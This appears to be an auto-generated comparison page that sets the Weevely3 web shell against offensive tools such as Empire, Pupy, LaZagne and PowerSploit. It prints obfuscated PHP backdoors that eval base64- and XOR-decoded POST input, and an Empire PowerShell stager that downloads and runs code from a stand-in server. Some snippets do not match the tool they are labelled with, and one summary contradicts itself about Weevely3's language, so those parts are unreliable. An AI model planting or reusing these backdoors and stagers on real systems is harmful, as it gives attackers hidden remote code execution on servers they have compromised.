Pros of Unicorn

• Simpler to use, focusing on payload generation for various attack vectors
• Supports multiple payload types (PowerShell, HTA, etc.)
• Actively maintained with regular updates

Cons of Unicorn

• Less versatile compared to Weevely3's full-featured web shell capabilities
• Limited to payload generation, lacking post-exploitation features
• Requires additional tools for deployment and execution

Code Comparison

Unicorn (payload generation):

# generate payload
payload = generate_payload(payload_type)
print("Payload generated: " + payload)

Weevely3 (web shell interaction):

# execute command on target
cmd = "ls -la"
output = session.run(cmd)
print("Command output: " + output)

While Unicorn focuses on generating payloads for initial access, Weevely3 provides a more comprehensive web shell for post-exploitation activities. Unicorn's simplicity makes it easier to use for specific payload generation tasks, but Weevely3 offers more advanced features for maintaining access and interacting with compromised systems. The choice between the two depends on the specific requirements of the penetration testing or red team engagement.

Pros of LaZagne

• Focused on password recovery from various applications and systems
• Supports multiple operating systems (Windows, Linux, macOS)
• Actively maintained with regular updates

Cons of LaZagne

• Limited to password recovery, lacks broader post-exploitation capabilities
• Does not provide a remote access or command execution framework
• May trigger antivirus alerts due to its nature

Code Comparison

LaZagne (Python):

def extract_from_file(file_path, password=None):
    try:
        archive = pyzipper.AESZipFile(file_path)
        if password:
            archive.setpassword(password.encode())
        return archive.extractall()
    except:
        return False

Weevely3 (Python):

def generate(password, obfuscator = 'obfuscator_none'):
    obfuscator_template = Template(obfuscator)
    obfuscated = obfuscator_template.render(
        password = password
    )
    return obfuscated

While both projects are written in Python, LaZagne focuses on password extraction functions, whereas Weevely3 emphasizes obfuscation and remote access capabilities. LaZagne's code snippet demonstrates its password extraction functionality, while Weevely3's code shows its focus on generating obfuscated payloads for remote access.

Pros of Pupy

• Multi-platform support (Windows, Linux, macOS, Android)
• Extensive set of built-in modules for various tasks
• Supports multiple communication protocols (HTTP, HTTPS, DNS, TCP, UDP)

Cons of Pupy

• Larger codebase and more complex setup
• Potentially higher detection rate due to its comprehensive features
• Requires more resources to run effectively

Code Comparison

Weevely3 (PHP-based backdoor):

<?php
$k="e3748a13bc";
$kh="4821d";
$kf="08a7";
$p="eSnmiUjRMve423Gw";

Pupy (Python-based RAT):

class PupyPayloadModule(PayloadModule):
    dependencies = ['pupyimporter', 'pupy']
    arg_subparser = 'py'
    compatible_systems = ['windows', 'linux', 'darwin', 'android']

Summary

Weevely3 is a lightweight PHP-based web shell, while Pupy is a more comprehensive Python-based remote administration tool. Weevely3 focuses on web server exploitation, whereas Pupy offers broader functionality across multiple platforms. Pupy provides more features but requires more setup and resources, while Weevely3 is simpler but limited to web environments. The choice between them depends on the specific use case and target environment.

Pros of Empire

• More comprehensive post-exploitation framework with a wider range of modules and capabilities
• Active development and community support
• Better suited for large-scale penetration testing and red team operations

Cons of Empire

• Larger footprint and potentially easier to detect by security solutions
• Steeper learning curve due to its extensive feature set
• Requires more setup and configuration compared to Weevely3

Code Comparison

Empire (PowerShell stager):

$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX $wc.DownloadString('http://empire.server/launcher');

Weevely3 (PHP backdoor):

<?php
$k="e3748a13bc";
$kh="0f6";
$kf="4d87";
$p="H3gGW0rXDkfks9d";
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}
@eval(x(base64_decode(preg_replace(array("/_/","/-/"),array("/","="),$_POST["k"])),$k));
?>

Both projects serve as post-exploitation tools, but Empire focuses on PowerShell-based payloads for Windows environments, while Weevely3 utilizes PHP backdoors for web server compromises. Empire's code is more complex and feature-rich, while Weevely3's code is more compact and stealthy.

Pros of Metasploit-framework

• Extensive library of exploits and modules
• Active community and regular updates
• Comprehensive documentation and support

Cons of Metasploit-framework

• Larger footprint and resource requirements
• Steeper learning curve for beginners
• More likely to be detected by antivirus software

Code Comparison

Weevely3:

from core.terminal import Terminal
from core.sessions import SessionURL, SessionFile
from core.log import log
from core.config import server_path, rcfile

Metasploit-framework:

require 'msf/core'
require 'rex'
require 'msf/base'
require 'msf/ui'
require 'msf/base/simple'

Summary

Metasploit-framework is a more comprehensive and widely-used penetration testing tool with a vast array of exploits and modules. It offers extensive documentation and community support but requires more resources and has a steeper learning curve. Weevely3, on the other hand, is a lightweight PHP webshell that focuses on stealth and minimal footprint, making it less likely to be detected. While Metasploit-framework is written in Ruby and has a more complex structure, Weevely3 is written in Python and has a simpler codebase, potentially making it easier for some users to customize and extend.

Pros of PowerSploit

• More comprehensive toolkit with a wider range of post-exploitation modules
• Native integration with PowerShell, leveraging built-in Windows features
• Active community and regular updates

Cons of PowerSploit

• Limited to Windows environments
• Potentially easier to detect due to PowerShell's increased monitoring in enterprise environments
• Requires PowerShell execution policy adjustments on target systems

Code Comparison

Weevely3 (PHP-based backdoor):

<?php
$k="e45e329feb5d925b"; 
for($i=0;$i<strlen($k);$i++)
    $k[$i] = chr(ord($k[$i])^ord("x"));
@eval(gzuncompress(base64_decode(strtr($_POST["z"], "-_", "+/"))));
?>

PowerSploit (PowerShell-based command execution):

$EncodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($ScriptBlock))
powershell.exe -EncodedCommand $EncodedCommand

Both repositories focus on post-exploitation techniques, but Weevely3 is designed for web server compromise using PHP, while PowerSploit targets Windows systems using PowerShell. Weevely3 offers a stealthier approach with its tiny PHP backdoor, while PowerSploit provides a more extensive set of tools for Windows environments. The choice between them depends on the target system and specific requirements of the engagement.